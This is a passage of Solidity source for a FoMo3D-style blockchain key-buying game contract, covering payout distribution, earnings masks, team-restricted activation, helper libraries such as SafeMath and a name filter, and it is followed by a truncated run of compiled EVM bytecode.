now); } else { _p3d = _aff; } // pay out p3d // 理论上应该是0 _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract team.transfer(_p3d); _p3d = 0; // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(23)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // MARK: 管理员地址 require( msg.sender == 0x3C21550C76B9C0Eb32ceA5f7ea71d54f366961a1 || msg.sender == 0x3123AD3e691bC320aaCC8ab91A0E32A7eE4C4b9a, "only team can activate" ); // can only be ran once require(activated_ == false, "fomo3d already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library F3DKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0x6080604052600436106101c15763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461036e57806306fdde0314610395578063079ce3271461041f5780630f15f4c01461043f57806310f01eba1461045457806311a09ae71461047557806324c33d331461048a5780632660316e146105015780632ce21999146105305780632e19ebdc14610561578063349cdcac146105795780633ccfd60b146105975780633ddd4698146105ac57806349cc635d146106085780635893d48114610632578063624ae5c01461064d5780636306643414610662578063685ffd8314610698578063747dff42146106eb57806382bfc739146107765780638f38f3091461079d5780638f7140ea146107ab578063921dec21146107c657806395d89b411461081957806398a0871d1461082e578063a2bccae914610845578063a65b37a114610886578063c519500e14610894578063c7e284b8146108ac578063ce89c80c146108c1578063cf808000146108dc578063d53b2679146108f4578063d87574e014610909578063de7874f31461091e578063ed78cf4a14610978578063ee0b5d8b14610980575b6101c96150dd565b600f5460009060ff16151560011461022d576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461023c57600080fd5b50803b8015610283576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b34633b9aca008110156102db576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561032b576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b610334856109d9565b33600090815260066020818152604080842054808552600890925290922001549196509450610367908590600288610c8d565b5050505050005b34801561037a57600080fd5b50610383610ec7565b60408051918252519081900360200190f35b3480156103a157600080fd5b506103aa610f8c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103e45781810151838201526020016103cc565b50505050905090810190601f1680156104115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042b57600080fd5b5061043d600435602435604435610fc3565b005b34801561044b57600080fd5b5061043d6111de565b34801561046057600080fd5b50610383600160a060020a036004351661133a565b34801561048157600080fd5b5061038361134c565b34801561049657600080fd5b506104a2600435611352565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b34801561050d57600080fd5b5061051c6004356024356113b5565b604080519115158252519081900360200190f35b34801561053c57600080fd5b506105486004356113d5565b6040805192835260208301919091528051918290030190f35b34801561056d57600080fd5b506103836004356113ee565b34801561058557600080fd5b5061043d600435602435604435611400565b3480156105a357600080fd5b5061043d6115f5565b6040805160206004803580820135601f810184900484028501840190955284845261043d94369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515611985565b34801561061457600080fd5b5061043d600435600160a060020a0360243516604435606435611b4c565b34801561063e57600080fd5b50610383600435602435611d3d565b34801561065957600080fd5b50610383611d5a565b34801561066e57600080fd5b5061067a600435611d60565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f810184900484028501840190955284845261043d943694929360249392840191908190840183828082843750949750508435955050505050602001351515611f06565b3480156106f757600080fd5b50610700611ff4565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561078257600080fd5b5061043d600160a060020a03600435166024356044356121f2565b61043d6004356024356123fb565b3480156107b757600080fd5b5061043d6004356024356125f1565b6040805160206004803580820135601f810184900484028501840190955284845261043d9436949293602493928401919081908401838280828437509497505084359550505050506020013515156126ce565b34801561082557600080fd5b506103aa6127bc565b61043d600160a060020a03600435166024356127f3565b34801561085157600080fd5b50610860600435602435612a17565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61043d600435602435612a49565b3480156108a057600080fd5b50610548600435612c55565b3480156108b857600080fd5b50610383612c6e565b3480156108cd57600080fd5b50610383600435602435612cfd565b3480156108e857600080fd5b50610383600435612da5565b34801561090057600080fd5b5061051c612e57565b34801561091557600080fd5b50610383612e60565b34801561092a57600080fd5b50610936600435612e66565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b61043d612ead565b34801561098c57600080fd5b506109a1600160a060020a0360043516612f2a565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6109e16150dd565b336000908152600660205260408120549080821515610c8457604080517fe56556a9000000000000000000000000000000000000000000000000000000008152336004820152905173b066135b92a122225bf786c38bc5d2284be7a27e9163e56556a99160248083019260209291908290030181600087803b158015610a6657600080fd5b505af1158015610a7a573d6000803e3d6000fd5b505050506040513d6020811015610a9057600080fd5b5051604080517f82e37b2c00000000000000000000000000000000000000000000000000000000815260048101839052905191945073b066135b92a122225bf786c38bc5d2284be7a27e916382e37b2c916024808201926020929091908290030181600087803b158015610b0357600080fd5b505af1158015610b17573d6000803e3d6000fd5b505050506040513d6020811015610b2d57600080fd5b5051604080517fe3c08adf00000000000000000000000000000000000000000000000000000000815260048101869052905191935073b066135b92a122225bf786c38bc5d2284be7a27e9163e3c08adf916024808201926020929091908290030181600087803b158015610ba057600080fd5b505af1158015610bb4573d6000803e3d6000fd5b505050506040513d6020811015610bca57600080fd5b505133600081815260066020908152604080832088905587835260089091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610c53576000828152600760209081526040808320869055858352600882528083206001908101869055600a8352818420868552909252909120805460ff191690911790555b8015801590610c625750828114155b15610c7c5760008381526008602052604090206006018190555b845160010185525b50929392505050565b6005546002546000828152600b602052604090206004015442910181118015610cf857506000828152600b602052604090206002015481111580610cf857506000828152600b602052604090206002015481118015610cf857506000828152600b6020526040902054155b15610d1057610d0b828734888888612fff565b610ebf565b6000828152600b602052604090206002015481118015610d4257506000828152600b602052604090206003015460ff16155b15610e8a576000828152600b60205260409020600301805460ff19166001179055610d6c8361345f565b925080670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a3360086000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b600086815260086020526040902060030154610eac903463ffffffff61384616565b6000878152600860205260409020600301555b505050505050565b6005546002546000828152600b602052604081206004015490929142910181118015610f3557506000828152600b602052604090206002015481111580610f3557506000828152600b602052604090206002015481118015610f3557506000828152600b6020526040902054155b15610f7d576000828152600b6020526040902060050154610f7690670de0b6b3a764000090610f6a908263ffffffff61384616565b9063ffffffff6138a716565b9250610f87565b6544364c5bb00192505b505090565b60408051808201909152601181527f466f4d6f47616d65204f6666696369616c000000000000000000000000000000602082015281565b610fcb6150dd565b600f54600090819060ff161515600114611031576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461104057600080fd5b50803b8015611087576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b85633b9aca008110156110df576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561112f576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b33600090815260066020526040902054945088158061115e575060008581526008602052604090206001015489145b1561117c5760008581526008602052604090206006015493506111bb565b60008981526007602090815260408083205488845260089092529091206006015490945084146111bb5760008581526008602052604090206006018490555b6111c4886138d4565b97506111d385858a8a8a6138f9565b505050505050505050565b733c21550c76b9c0eb32cea5f7ea71d54f366961a13314806112135750733123ad3e691bc320aacc8ab91a0e32a7ee4c4b9a33145b1515611269576040805160e560020a62461bcd02815260206004820152601660248201527f6f6e6c79207465616d2063616e20616374697661746500000000000000000000604482015290519081900360640190fd5b600f5460ff16156112c4576040805160e560020a62461bcd02815260206004820152601860248201527f666f6d6f336420616c7265616479206163746976617465640000000000000000604482015290519081900360640190fd5b600f805460ff1916600190811790915560058190556002548154600092909252600b602052429091019081037f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d35561a8c0017f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d155565b60066020526000908152604090205481565b60045481565b600b60208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b01549a909b0154989a9799969860ff90961697949693959294919390928c565b600a60209081526000928352604080842090915290825290205460ff1681565b600d602052600090815260409020805460019091015482565b60076020526000908152604090205481565b6114086150dd565b600f5460009060ff16151560011461146c576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461147b57600080fd5b50803b80156114c2576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b84633b9aca0081101561151a576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561156a576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b33600090815260066020526040902054935087158061158857508388145b156115a65760008481526008602052604090206006015497506115d3565b60008481526008602052604090206006015488146115d35760008481526008602052604090206006018890555b6115dc876138d4565b96506115eb84898989896138f9565b5050505050505050565b6000806000806116036150dd565b600f5460ff161515600114611664576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461167357600080fd5b50803b80156116ba576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b60055433600090815260066020908152604080832054848452600b9092529091206002015491985042975095508611801561170757506000878152600b602052604090206003015460ff16155b801561172057506000878152600b602052604090205415155b156118c6576000878152600b60205260409020600301805460ff1916600117905561174a8361345f565b925061175585613b15565b935060008411156117a657600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f193505050501580156117a4573d6000803e3d6000fd5b505b85670de0b6b3a764000002836000015101836000018181525050848360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc3360086000888152602001908152602001600020600101548686600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a161197c565b6118cf85613b15565b9350600084111561192057600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f1935050505015801561191e573d6000803e3d6000fd5b505b6000858152600860209081526040918290206001015482513381529182015280820186905260608101889052905186917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050565b60008080808080338132821461199a57600080fd5b50803b80156119e1576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b6119ea8b613b9c565b604080517faa4d490b000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052600160a060020a038e1660448301528c151560648301528251939b50995034985073b066135b92a122225bf786c38bc5d2284be7a27e9263aa4d490b928a926084808201939182900301818588803b158015611a7b57600080fd5b505af1158015611a8f573d6000803e3d6000fd5b50505050506040513d6040811015611aa657600080fd5b508051602091820151600160a060020a03808b1660008181526006865260408082205485835260088852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b3373b066135b92a122225bf786c38bc5d2284be7a27e14611bdd576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600660205260409020548414611c1857600160a060020a03831660009081526006602052604090208490555b6000828152600760205260409020548414611c3f5760008281526007602052604090208490555b600084815260086020526040902054600160a060020a03848116911614611c95576000848152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b6000848152600860205260409020600101548214611cc25760008481526008602052604090206001018290555b6000848152600860205260409020600601548114611cef5760008481526008602052604090206006018190555b6000848152600a6020908152604080832085845290915290205460ff161515611d37576000848152600a602090815260408083208584529091529020805460ff191660011790555b50505050565b600c60209081526000928352604080842090915290825290205481565b60055481565b6005546000818152600b60205260408120600201549091829182919042118015611d9c57506000818152600b602052604090206003015460ff16155b8015611db557506000818152600b602052604090205415155b15611ed6576000818152600b6020526040902054851415611e9a576000818152600b6020526040902060070154611e2390606490611dfa90603063ffffffff6143af16565b811515611e0357fe5b60008881526008602052604090206002015491900463ffffffff61384616565b6000868152600960209081526040808320858452909152902060020154611e7c90611e5e90611e528986614426565b9063ffffffff6144f416565b6000888152600860205260409020600301549063ffffffff61384616565b60008781526008602052604090206004015491955093509150611efe565b600085815260086020908152604080832060029081015460098452828520868652909352922090910154611e7c90611e5e90611e528986614426565b60008581526008602052604090206002810154600590910154611e7c90611e5e908890614554565b509193909250565b600080808080803381328214611f1b57600080fd5b50803b8015611f62576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b611f6b8b613b9c565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073b066135b92a122225bf786c38bc5d2284be7a27e9263745ea0c1928a926084808201939182900301818588803b158015611a7b57600080fd5b60008060008060008060008060008060008060008060006005549050600b60008281526020019081526020016000206009015481600b600084815260200190815260200160002060050154600b600085815260200190815260200160002060020154600b600086815260200190815260200160002060040154600b600087815260200190815260200160002060070154600b600088815260200190815260200160002060000154600a02600b6000898152602001908152602001600020600101540160086000600b60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a031660086000600b60008c815260200190815260200160002060000154815260200190815260200160002060010154600c60008b8152602001908152602001600020600080815260200190815260200160002054600c60008c815260200190815260200160002060006001815260200190815260200160002054600c60008d815260200190815260200160002060006002815260200190815260200160002054600c60008e8152602001908152602001600020600060038152602001908152602001600020546003546103e802600454019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b6121fa6150dd565b600f54600090819060ff161515600114612260576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461226f57600080fd5b50803b80156122b6576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b85633b9aca0081101561230e576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561235e576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450600160a060020a038916158061238e5750600160a060020a03891633145b156123ac5760008581526008602052604090206006015493506111bb565b600160a060020a0389166000908152600660208181526040808420548985526008909252909220015490945084146111bb5760008581526008602052604090206006018490556111c4886138d4565b6124036150dd565b600f5460009060ff161515600114612467576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461247657600080fd5b50803b80156124bd576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b34633b9aca00811015612515576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612565576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b61256e856109d9565b33600090815260066020526040902054909550935086158061258f57508387145b156125ad5760008481526008602052604090206006015496506125da565b60008481526008602052604090206006015487146125da5760008481526008602052604090206006018790555b6125e3866138d4565b955061197c84888888610c8d565b3373b066135b92a122225bf786c38bc5d2284be7a27e14612682576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600a6020908152604080832084845290915290205460ff1615156126ca576000828152600a602090815260408083208484529091529020805460ff191660011790555b5050565b6000808080808033813282146126e357600080fd5b50803b801561272a576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b6127338b613b9c565b604080517fc0942dfd000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073b066135b92a122225bf786c38bc5d2284be7a27e9263c0942dfd928a926084808201939182900301818588803b158015611a7b57600080fd5b60408051808201909152600581527f4647616d65000000000000000000000000000000000000000000000000000000602082015281565b6127fb6150dd565b600f54600090819060ff161515600114612861576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b33600032821461287057600080fd5b50803b80156128b7576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b34633b9aca0081101561290f576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561295f576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b612968866109d9565b336000908152600660205260409020549096509450600160a060020a038816158061299b5750600160a060020a03881633145b156129b9576000858152600860205260409020600601549350612a00565b600160a060020a038816600090815260066020818152604080842054898552600890925290922001549094508414612a005760008581526008602052604090206006018490555b612a09876138d4565b96506115eb85858989610c8d565b600960209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b612a516150dd565b600f54600090819060ff161515600114612ab7576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151778339815191526044820152600080516020615137833981519152606482015290519081900360840190fd5b336000328214612ac657600080fd5b50803b8015612b0d576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151b7833981519152604482015290519081900360640190fd5b34633b9aca00811015612b65576040805160e560020a62461bcd0281526020600482015260216024820152600080516020615157833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612bb5576040805160e560020a62461bcd02815260206004820152600e6024820152600080516020615197833981519152604482015290519081900360640190fd5b612bbe866109d9565b336000908152600660205260409020549096509450871580612bf0575060008581526008602052604090206001015488145b15612c0e576000858152600860205260409020600601549350612a00565b6000888152600760209081526040808320548884526008909252909120600601549094508414612a00576000858152600860205260409020600601849055612a09876138d4565b600e602052600090815260409020805460019091015482565b6005546000818152600b60205260408120600201549091904290811015612cf4576002546000838152600b602052604090206004015401811115612cce576000828152600b6020526040902060020154610f76908263ffffffff6144f4165